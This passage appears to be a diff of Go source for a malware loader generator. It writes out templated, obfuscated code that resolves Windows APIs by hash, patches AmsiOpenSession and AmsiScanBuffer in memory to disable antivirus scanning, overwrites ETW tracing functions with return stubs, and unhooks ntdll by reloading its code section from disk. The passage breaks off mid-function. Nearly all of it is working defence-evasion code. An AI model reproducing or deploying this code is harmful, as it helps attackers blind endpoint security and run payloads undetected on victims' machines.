{{.Vars.p}}.OptionalHeader.(*pe.OptionalHeader64).NumberOfRvaAndSizes + } else { + {{.Vars.ddLength}} = {{.Vars.p}}.OptionalHeader.(*pe.OptionalHeader32).NumberOfRvaAndSizes + } + + if {{.Vars.ddLength}} < pe.IMAGE_DIRECTORY_ENTRY_EXPORT+1 { + return &windows.LazyProc{}, "", errors.New(` + ObfuscateStr("error getting exports entries", str_obfs) + `) + } + + var {{.Vars.edd}} pe.DataDirectory + if {{.Vars.pe64}} { + {{.Vars.edd}} = {{.Vars.p}}.OptionalHeader.(*pe.OptionalHeader64).DataDirectory[pe.IMAGE_DIRECTORY_ENTRY_EXPORT] + } else { + {{.Vars.edd}} = {{.Vars.p}}.OptionalHeader.(*pe.OptionalHeader32).DataDirectory[pe.IMAGE_DIRECTORY_ENTRY_EXPORT] + } + + var {{.Vars.ds}} *pe.Section + {{.Vars.ds}} = nil + for _, {{.Vars.s}} := range {{.Vars.p}}.Sections { + if {{.Vars.s}}.VirtualAddress <= {{.Vars.edd}}.VirtualAddress && {{.Vars.edd}}.VirtualAddress < {{.Vars.s}}.VirtualAddress+{{.Vars.s}}.VirtualSize { + {{.Vars.ds}} = {{.Vars.s}} + break + } + } + + if {{.Vars.ds}} == nil { + return &windows.LazyProc{}, "", errors.New(` + ObfuscateStr("no section was found", str_obfs) + `) + } + + {{.Vars.d}}, {{.Vars.err}} := {{.Vars.ds}}.Data() + if {{.Vars.err}} != nil { + return &windows.LazyProc{}, "", {{.Vars.err}} + } + + {{.Vars.exportDirOffset}} := {{.Vars.edd}}.VirtualAddress - {{.Vars.ds}}.VirtualAddress + {{.Vars.dxd}} := {{.Vars.d}}[{{.Vars.exportDirOffset}}:] + + var {{.Vars.dt}} ExportDirectory + {{.Vars.dt}}.ExportFlags = binary.LittleEndian.Uint32({{.Vars.dxd}}[0:4]) + {{.Vars.dt}}.TimeDateStamp = binary.LittleEndian.Uint32({{.Vars.dxd}}[4:8]) + {{.Vars.dt}}.MajorVersion = binary.LittleEndian.Uint16({{.Vars.dxd}}[8:10]) + {{.Vars.dt}}.MinorVersion = binary.LittleEndian.Uint16({{.Vars.dxd}}[10:12]) + {{.Vars.dt}}.NameRVA = binary.LittleEndian.Uint32({{.Vars.dxd}}[12:16]) + {{.Vars.dt}}.OrdinalBase = binary.LittleEndian.Uint32({{.Vars.dxd}}[16:20]) + {{.Vars.dt}}.NumberOfFunctions = binary.LittleEndian.Uint32({{.Vars.dxd}}[20:24]) + {{.Vars.dt}}.NumberOfNames = binary.LittleEndian.Uint32({{.Vars.dxd}}[24:28]) + {{.Vars.dt}}.AddressTableAddr = binary.LittleEndian.Uint32({{.Vars.dxd}}[28:32]) + {{.Vars.dt}}.NameTableAddr = binary.LittleEndian.Uint32({{.Vars.dxd}}[32:36]) + {{.Vars.dt}}.OrdinalTableAddr = binary.LittleEndian.Uint32({{.Vars.dxd}}[36:40]) + + {{.Vars.dt}}.DllName, _ = {{.Vars.get_string_func}}({{.Vars.d}}, int({{.Vars.dt}}.NameRVA-{{.Vars.ds}}.VirtualAddress)) + + {{.Vars.ordinalTable}} := make(map[uint16]uint32) + + if {{.Vars.dt}}.OrdinalTableAddr > {{.Vars.ds}}.VirtualAddress && {{.Vars.dt}}.NameTableAddr > {{.Vars.ds}}.VirtualAddress { + {{.Vars.dno}} := {{.Vars.d}}[{{.Vars.dt}}.OrdinalTableAddr-{{.Vars.ds}}.VirtualAddress:] + {{.Vars.dnn}} := {{.Vars.d}}[{{.Vars.dt}}.NameTableAddr-{{.Vars.ds}}.VirtualAddress:] + + for {{.Vars.n}} := uint32(0); {{.Vars.n}} < {{.Vars.dt}}.NumberOfNames; {{.Vars.n}}++ { + {{.Vars.ord}} := binary.LittleEndian.Uint16({{.Vars.dno}}[{{.Vars.n}}*2 : ({{.Vars.n}}*2)+2]) + {{.Vars.nameRVA}} := binary.LittleEndian.Uint32({{.Vars.dnn}}[{{.Vars.n}}*4 : ({{.Vars.n}}*4)+4]) + {{.Vars.ordinalTable}}[{{.Vars.ord}}] = {{.Vars.nameRVA}} + } + {{.Vars.dno}} = nil + {{.Vars.dnn}} = nil + } + + {{.Vars.dna}} := {{.Vars.d}}[{{.Vars.dt}}.AddressTableAddr-{{.Vars.ds}}.VirtualAddress:] + + var {{.Vars.exports}} []Export + for {{.Vars.i}} := uint32(0); {{.Vars.i}} < {{.Vars.dt}}.NumberOfFunctions; {{.Vars.i}}++ { + var {{.Vars.export}} Export + {{.Vars.export}}.VirtualAddress = binary.LittleEndian.Uint32({{.Vars.dna}}[{{.Vars.i}}*4 : ({{.Vars.i}}*4)+4]) + {{.Vars.export}}.Ordinal = {{.Vars.dt}}.OrdinalBase + {{.Vars.i}} + + if {{.Vars.ds}}.VirtualAddress <= {{.Vars.export}}.VirtualAddress && + {{.Vars.export}}.VirtualAddress < {{.Vars.ds}}.VirtualAddress+{{.Vars.ds}}.VirtualSize { + {{.Vars.export}}.Forward, _ = {{.Vars.get_string_func}}({{.Vars.d}}, int({{.Vars.export}}.VirtualAddress-{{.Vars.ds}}.VirtualAddress)) + } + + _, {{.Vars.ok}} := {{.Vars.ordinalTable}}[uint16({{.Vars.i}})] + if {{.Vars.ok}} { + {{.Vars.nameRVA}}, _ := {{.Vars.ordinalTable}}[uint16({{.Vars.i}})] + {{.Vars.export}}.Name, _ = {{.Vars.get_string_func}}({{.Vars.d}}, int({{.Vars.nameRVA}}-{{.Vars.ds}}.VirtualAddress)) + } + + {{.Vars.exports}} = append({{.Vars.exports}}, {{.Vars.export}}) + } + + for _, {{.Vars.exp}} := range {{.Vars.exports}} { + if {{.Vars.hash}} == {{.Vars.hashing_func}}({{.Vars.exp}}.Name) { + return windows.NewLazyDLL({{.Vars.dll}}).NewProc({{.Vars.exp}}.Name), {{.Vars.exp}}.Name, nil + } + } + + return &windows.LazyProc{}, "", errors.New(` + ObfuscateStr("function not found", str_obfs) + `) +} + ` + + get_string_func := ` +func {{.Vars.get_string_func}}({{.Vars.section}} []byte, {{.Vars.start}} int) (string, bool) { + if {{.Vars.start}} < 0 || {{.Vars.start}} >= len({{.Vars.section}}) { + return "", false + } + + for {{.Vars.end}} := {{.Vars.start}}; {{.Vars.end}} < len({{.Vars.section}}); {{.Vars.end}}++ { + if {{.Vars.section}}[{{.Vars.end}}] == 0 { + return string({{.Vars.section}}[{{.Vars.start}}:{{.Vars.end}}]), true + } + } + + return "", false +} +` + + // append previous functions + functions = utils.AppendString(functions, ParseTemplate(hashing_func, Main)) + functions = utils.AppendString(functions, ParseTemplate(get_string_func, Main)) + functions = utils.AppendString(functions, ParseTemplate(get_func_ptr_func, Main)) + } + + // add AMSI patch function to loader + if (!noamsi) { + + if (verbose) { + fmt.Println(" > Adding AMSI patch...") + time.Sleep(100 * time.Millisecond) + } + + // define variables + Main.Vars["amsi_patch_func"] = utils.RandomString(utils.RandomInt(10,12)) + Main.Vars["GetCurrentProcess"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["NtProtectVirtualMemory"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["NtWriteVirtualMemory"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["AmsiOpenSession"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["AmsiScanBuffer"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["kernel32"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["ntdll"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["amsi"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["patch"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["oldProtect"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["memPage"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["pHandle"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["addr"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["addr2"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars[""] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["i"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["r1"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["err"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["r2"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["regionsize"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["numberOfBytesToProtect"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["baseAddress"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["amsi_patch"] = utils.RandomString(utils.RandomInt(9,10)) + + // append needed exports and imports + imports = utils.AppendSlice(imports, []string{"fmt", "golang.org/x/sys/windows", "unsafe"}) + + // define code using templates + amsi_patch_func := ` +func {{.Vars.amsi_patch_func}}() error {` + + if (utils.RandomInt(1, 2) == 1) { + if (hashing) { + amsi_patch_func = amsi_patch_func + ` + {{.Vars.GetCurrentProcess}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("GetCurrentProcess", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}}) + {{.Vars.NtWriteVirtualMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash(NtWriteVirtualMemory, rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}}) + {{.Vars.NtProtectVirtualMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash(NtProtectVirtualMemory, rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}}) + {{.Vars.AmsiOpenSession}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("AmsiOpenSession", rand_num)) + `, ` + ObfuscateStr("amsi.dll", str_obfs) + `, {{.Vars.hashing_func}}) + ` + } else { + amsi_patch_func = amsi_patch_func + ` + {{.Vars.kernel32}} := windows.NewLazyDLL(` + ObfuscateStr("kernel32.dll", str_obfs) + `) + {{.Vars.ntdll}} := windows.NewLazyDLL(` + ObfuscateStr("ntdll.dll", str_obfs) + `) + {{.Vars.amsi}} := windows.NewLazyDLL(` + ObfuscateStr("amsi.dll", str_obfs) + `) + {{.Vars.GetCurrentProcess}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("GetCurrentProcess", str_obfs) + `) + {{.Vars.NtWriteVirtualMemory}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr(NtWriteVirtualMemory, str_obfs) + `) + {{.Vars.NtProtectVirtualMemory}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr(NtProtectVirtualMemory, str_obfs) + `) + {{.Vars.AmsiOpenSession}} := {{.Vars.amsi}}.NewProc(` + ObfuscateStr("AmsiOpenSession", str_obfs) + `) + ` + } + + amsi_patch_func = amsi_patch_func + ` + {{.Vars.patch}} := []byte{0x75} + + var {{.Vars.oldProtect}} uint32 + var {{.Vars.memPage}} uintptr = 0x1000 + + {{.Vars.pHandle}}, _, _ := {{.Vars.GetCurrentProcess}}.Call() + + {{.Vars.addr}} := {{.Vars.AmsiOpenSession}}.Addr() + {{.Vars.addr2}} := {{.Vars.AmsiOpenSession}}.Addr() + + for {{.Vars.i}} := 0; {{.Vars.i}} < 1024; {{.Vars.i}}++ { + if *(*byte)(unsafe.Pointer({{.Vars.addr}} + uintptr({{.Vars.i}}))) == 0x74 { + {{.Vars.addr}} = {{.Vars.addr}} + uintptr(1) + break + } + } + + {{.Vars.r1}}, _, {{.Vars.err}} := {{.Vars.NtProtectVirtualMemory}}.Call(uintptr({{.Vars.pHandle}}), uintptr(unsafe.Pointer(&{{.Vars.addr}})), uintptr(unsafe.Pointer(&{{.Vars.memPage}})), windows.PAGE_EXECUTE_READWRITE, uintptr(unsafe.Pointer(&{{.Vars.oldProtect}}))) + if {{.Vars.r1}} != 0 { + return {{.Vars.err}} + } + + for {{.Vars.i}} := 0; {{.Vars.i}} < 1024; {{.Vars.i}}++ { + if *(*byte)(unsafe.Pointer({{.Vars.addr2}} + uintptr({{.Vars.i}}))) == 0x74 { + {{.Vars.addr2}} = {{.Vars.addr2}} + uintptr(1) + break + } + } + + var {{.Vars.regionsize}} uintptr + {{.Vars.NtWriteVirtualMemory}}.Call(uintptr({{.Vars.pHandle}}), {{.Vars.addr2}}, uintptr(unsafe.Pointer(&{{.Vars.patch}}[0])), uintptr(len({{.Vars.patch}})), uintptr(unsafe.Pointer(&{{.Vars.regionsize}}))) + + {{.Vars.r2}}, _, {{.Vars.err}} := {{.Vars.NtProtectVirtualMemory}}.Call(uintptr({{.Vars.pHandle}}), uintptr(unsafe.Pointer(&{{.Vars.addr2}})), uintptr(unsafe.Pointer(&{{.Vars.memPage}})), uintptr({{.Vars.oldProtect}}), uintptr(unsafe.Pointer(&{{.Vars.oldProtect}}))) + if {{.Vars.r2}} != 0 { + return {{.Vars.err}} + } + + return nil + } +` + } else { + if (hashing) { + amsi_patch_func = amsi_patch_func + ` + {{.Vars.NtWriteVirtualMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash(NtWriteVirtualMemory, rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}}) + {{.Vars.NtProtectVirtualMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash(NtProtectVirtualMemory, rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}}) + {{.Vars.AmsiScanBuffer}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("AmsiScanBuffer", rand_num)) + `, ` + ObfuscateStr("amsi.dll", str_obfs) + `, {{.Vars.hashing_func}}) +` + } else { + amsi_patch_func = amsi_patch_func + ` + {{.Vars.ntdll}} := windows.NewLazyDLL(` + ObfuscateStr("ntdll.dll", str_obfs) + `) + {{.Vars.amsi}} := windows.NewLazyDLL(` + ObfuscateStr("amsi.dll", str_obfs) + `) + {{.Vars.NtWriteVirtualMemory}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr(NtWriteVirtualMemory, str_obfs) + `) + {{.Vars.NtProtectVirtualMemory}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr(NtProtectVirtualMemory, str_obfs) + `) + {{.Vars.AmsiScanBuffer}} := {{.Vars.amsi}}.NewProc(` + ObfuscateStr("AmsiScanBuffer", str_obfs) + `) +` + } + + amsi_patch_func = amsi_patch_func + ` + var {{.Vars.amsi_patch}} = []byte{0xB2 + 6, 0x52 + 5, 0x00, 0x04 + 3, 0x7E + 2, 0xc2 + 1} + {{.Vars.baseAddress}} := {{.Vars.AmsiScanBuffer}}.Addr() + {{.Vars.numberOfBytesToProtect}} := uintptr(len({{.Vars.amsi_patch}})) + var {{.Vars.oldProtect}} uintptr + + {{.Vars.r1}}, _, {{.Vars.err}} := {{.Vars.NtProtectVirtualMemory}}.Call(uintptr(0xffffffffffffffff), uintptr(unsafe.Pointer(&{{.Vars.baseAddress}})), uintptr(unsafe.Pointer(&{{.Vars.numberOfBytesToProtect}})), windows.PAGE_EXECUTE_READWRITE, uintptr(unsafe.Pointer(&{{.Vars.oldProtect}}))) + if {{.Vars.r1}} != 0 { + return {{.Vars.err}} + } + + {{.Vars.NtWriteVirtualMemory}}.Call(uintptr(0xffffffffffffffff), {{.Vars.AmsiScanBuffer}}.Addr(), uintptr(unsafe.Pointer(&{{.Vars.amsi_patch}}[0])), unsafe.Sizeof({{.Vars.amsi_patch}}), 0) + + {{.Vars.r2}}, _, {{.Vars.err}} := {{.Vars.NtProtectVirtualMemory}}.Call(uintptr(0xffffffffffffffff), uintptr(unsafe.Pointer(&{{.Vars.baseAddress}})), uintptr(unsafe.Pointer(&{{.Vars.numberOfBytesToProtect}})), uintptr({{.Vars.oldProtect}}), uintptr(unsafe.Pointer(&{{.Vars.oldProtect}}))) + if {{.Vars.r2}} != 0 { + return {{.Vars.err}} + } + + return nil +} +` + } + + // append previous function + functions = utils.AppendString(functions, ParseTemplate(amsi_patch_func, Main)) + } + + // add ETW patch function to loader + if (!noetw) { + + if (verbose) { + fmt.Println(" > Adding ETW patch...") + } + time.Sleep(100 * time.Millisecond) + + // define variables + Main.Vars["etw_patch_func"] = utils.RandomString(utils.RandomInt(10,12)) + Main.Vars["GetCurrentProcess"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["etw_func_to_patch"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["NtWriteVirtualMemory"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["NtProtectVirtualMemory"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["ntdll"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["kernel32"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["patch"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["oldProtect"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["pHandle"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["regionsize"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["addr"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["r1"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["err"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["r2"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["WriteProcessMemory"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["EtwEventWrite"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["EtwEventWriteEx"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["EtwEventWriteFull"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["EtwEventWriteString"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["EtwEventWriteTransfer"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["addresses"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["i"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["data"] = utils.RandomString(utils.RandomInt(9,10)) + + + imports = utils.AppendSlice(imports, []string{"golang.org/x/sys/windows", "unsafe"}) // needed imports + + // define code using templates + etw_patch_func := ` +func {{.Vars.etw_patch_func}}() error {` + + if (utils.RandomInt(1, 2) == 1) { + + var etw_func_to_patch string + // use one of the main NT functions used by ETW to patch it + if (utils.RandomInt(1,2) == 1) { + etw_func_to_patch = "NtTraceEvent" + } else { + etw_func_to_patch = "NtTraceControl" + } + + if (hashing) { + etw_patch_func = etw_patch_func + ` + {{.Vars.GetCurrentProcess}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("GetCurrentProcess", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}}) + {{.Vars.etw_func_to_patch}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash(etw_func_to_patch, rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}}) + {{.Vars.NtWriteVirtualMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash(NtWriteVirtualMemory, rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}}) + {{.Vars.NtProtectVirtualMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash(NtProtectVirtualMemory, rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}}) +` + } else { + etw_patch_func = etw_patch_func + ` + {{.Vars.kernel32}} := windows.NewLazyDLL(` + ObfuscateStr("kernel32.dll", str_obfs) + `) + {{.Vars.ntdll}} := windows.NewLazyDLL(` + ObfuscateStr("ntdll.dll", str_obfs) + `) + {{.Vars.GetCurrentProcess}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("GetCurrentProcess", str_obfs) + `) + {{.Vars.etw_func_to_patch}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr(etw_func_to_patch, str_obfs) + `) + {{.Vars.NtWriteVirtualMemory}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr(NtWriteVirtualMemory, str_obfs) + `) + {{.Vars.NtProtectVirtualMemory}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr(NtProtectVirtualMemory, str_obfs) + `) +` + } + + etw_patch_func = etw_patch_func + ` + {{.Vars.pHandle}}, _, _ := {{.Vars.GetCurrentProcess}}.Call() + + var {{.Vars.patch}} = []byte{0xc3} + var {{.Vars.oldProtect}} uintptr + var {{.Vars.addr}} uintptr = {{.Vars.etw_func_to_patch}}.Addr() + {{.Vars.regionsize}} := uintptr(len({{.Vars.patch}})) + + {{.Vars.r1}}, _, {{.Vars.err}} := {{.Vars.NtProtectVirtualMemory}}.Call({{.Vars.pHandle}}, uintptr(unsafe.Pointer(&{{.Vars.addr}})), uintptr(unsafe.Pointer(&{{.Vars.regionsize}})), windows.PAGE_EXECUTE_READWRITE, uintptr(unsafe.Pointer(&{{.Vars.oldProtect}}))) + if {{.Vars.r1}} != 0 { + return {{.Vars.err}} + } + + {{.Vars.NtWriteVirtualMemory}}.Call({{.Vars.pHandle}}, {{.Vars.addr}}, uintptr(unsafe.Pointer(&{{.Vars.patch}}[0])), uintptr(len({{.Vars.patch}})), 0) + + {{.Vars.r2}}, _, {{.Vars.err}} := {{.Vars.NtProtectVirtualMemory}}.Call({{.Vars.pHandle}}, uintptr(unsafe.Pointer(&{{.Vars.addr}})), uintptr(unsafe.Pointer(&{{.Vars.regionsize}})), uintptr({{.Vars.oldProtect}}), uintptr(unsafe.Pointer(&{{.Vars.oldProtect}}))) + if {{.Vars.r2}} != 0 { + return {{.Vars.err}} + } + + return nil +} +` + } else { + + if (hashing) { + etw_patch_func = etw_patch_func + ` + {{.Vars.WriteProcessMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("WriteProcessMemory", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}}) + {{.Vars.EtwEventWrite}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("EtwEventWrite", rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}}) + {{.Vars.EtwEventWriteEx}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("EtwEventWriteEx", rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}}) + {{.Vars.EtwEventWriteFull}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("EtwEventWriteFull", rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}}) + {{.Vars.EtwEventWriteString}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("EtwEventWriteString", rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}}) + {{.Vars.EtwEventWriteTransfer}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("EtwEventWriteTransfer", rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}}) +` + } else { + etw_patch_func = etw_patch_func + ` + {{.Vars.ntdll}} := windows.NewLazyDLL(` + ObfuscateStr("ntdll.dll", str_obfs) + `) + {{.Vars.WriteProcessMemory}} := windows.NewLazyDLL(` + ObfuscateStr("kernel32.dll", str_obfs) + `).NewProc(` + ObfuscateStr("WriteProcessMemory", str_obfs) + `) + + {{.Vars.EtwEventWrite}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr("EtwEventWrite", str_obfs) + `) + {{.Vars.EtwEventWriteEx}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr("EtwEventWriteEx", str_obfs) + `) + {{.Vars.EtwEventWriteFull}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr("EtwEventWriteFull", str_obfs) + `) + {{.Vars.EtwEventWriteString}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr("EtwEventWriteString", str_obfs) + `) + {{.Vars.EtwEventWriteTransfer}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr("EtwEventWriteTransfer", str_obfs) + `) +` + } + + etw_patch_func = etw_patch_func + ` + {{.Vars.addresses}} := []uintptr{ {{.Vars.EtwEventWriteFull}}.Addr(), {{.Vars.EtwEventWrite}}.Addr(), {{.Vars.EtwEventWriteEx}}.Addr(), {{.Vars.EtwEventWriteString}}.Addr(), {{.Vars.EtwEventWriteTransfer}}.Addr() } + + for {{.Vars.i}} := range {{.Vars.addresses}} { + {{.Vars.data}}, _ := hex.DecodeString(string([]byte{'4', '8', '3', '3', 'C', '0', 'C', '3'})) + + {{.Vars.WriteProcessMemory}}.Call(uintptr(0xffffffffffffffff), uintptr({{.Vars.addresses}}[{{.Vars.i}}]), uintptr(unsafe.Pointer(&{{.Vars.data}}[0])), uintptr(len({{.Vars.data}})), 0) + } + + return nil +} +` + + imports = utils.AppendString(imports, "encoding/hex") + } + + // append previous function + functions = utils.AppendString(functions, ParseTemplate(etw_patch_func, Main)) + } + + if (unhook != "") { + if (verbose) { + fmt.Println(" > Adding unhooking function...") + } + + time.Sleep(100 * time.Millisecond) + } + + var unhook_func string + + if (unhook == "full") { + + imports = utils.AppendSlice(imports, []string{"io/ioutil", "debug/pe", "golang.org/x/sys/windows", "unsafe", "strings"}) // needed imports + dlls_to_unhook = utils.AppendString(dlls_to_unhook, "C:\\Windows\\System32\\ntdll.dll") + + Main.Vars["unhook_func"] = utils.RandomString(utils.RandomInt(10,12)) + Main.Vars["dlls_to_unhook"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["dll_to_unhook"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["NtProtectVirtualMemory"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["ntdll"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["f"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["err"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["file"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["x"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["size"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["dll_bytes"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["dll"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["dll_handle"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["dll_base"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["dll_offset"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["regionsize"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["oldProtect"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["r1"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["i"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["loc"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["mem"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["r2"] = utils.RandomString(utils.RandomInt(9,10)) + + unhook_func = ` +func {{.Vars.unhook_func}}({{.Vars.dlls_to_unhook}} []string) error { +` + + if (hashing) { + unhook_func = unhook_func + ` + {{.Vars.NtProtectVirtualMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash(NtProtectVirtualMemory, rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}}) +` + } else { + unhook_func = unhook_func + ` + {{.Vars.ntdll}} := windows.NewLazyDLL(` + ObfuscateStr("ntdll.dll", str_obfs) + `) + {{.Vars.NtProtectVirtualMemory}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr(NtProtectVirtualMemory, str_obfs) + `) +` + } + + unhook_func = unhook_func + ` + for _, {{.Vars.dll_to_unhook}} := range {{.Vars.dlls_to_unhook}} { + if (!strings.HasPrefix({{.Vars.dll_to_unhook}}, "C:\\")) { + {{.Vars.dll_to_unhook}} = "C:\\Windows\\System32\\" + {{.Vars.dll_to_unhook}} + } + + {{.Vars.f}}, {{.Vars.err}} := ioutil.ReadFile({{.Vars.dll_to_unhook}}) + if {{.Vars.err}} != nil { + return {{.Vars.err}} + } + + {{.Vars.file}}, {{.Vars.err}} := pe.Open({{.Vars.dll_to_unhook}}) + if {{.Vars.err}} != nil { + return {{.Vars.err}} + } + + {{.Vars.x}} := {{.Vars.file}}.Section(` + ObfuscateStr(".text", str_obfs) + `) + {{.Vars.size}} := {{.Vars.x}}.Size + {{.Vars.dll_bytes}} := {{.Vars.f}}[{{.Vars.x}}.Offset:{{.Vars.x}}.Size] + + {{.Vars.dll}}, {{.Vars.err}} := windows.LoadDLL({{.Vars.dll_to_unhook}}) + if {{.Vars.err}} != nil { + return {{.Vars.err}} + } + + {{.Vars.dll_handle}} := {{.Vars.dll}}.Handle + {{.Vars.dll_base}} := uintptr({{.Vars.dll_handle}}) + {{.Vars.dll_offset}} := uint({{.Vars.dll_base}}) + uint({{.Vars.x}}.VirtualAddress) + + {{.Vars.regionsize}} := uintptr({{.Vars.size}}) + var {{.Vars.oldProtect}} uintptr + + {{.Vars.r1}}, _, {{.Vars.err}} := {{.Vars.NtProtectVirtualMemory}}.Call(uintptr(0xffffffffffffffff), uintptr(unsafe.Pointer(&{{.Vars.dll_offset}})), 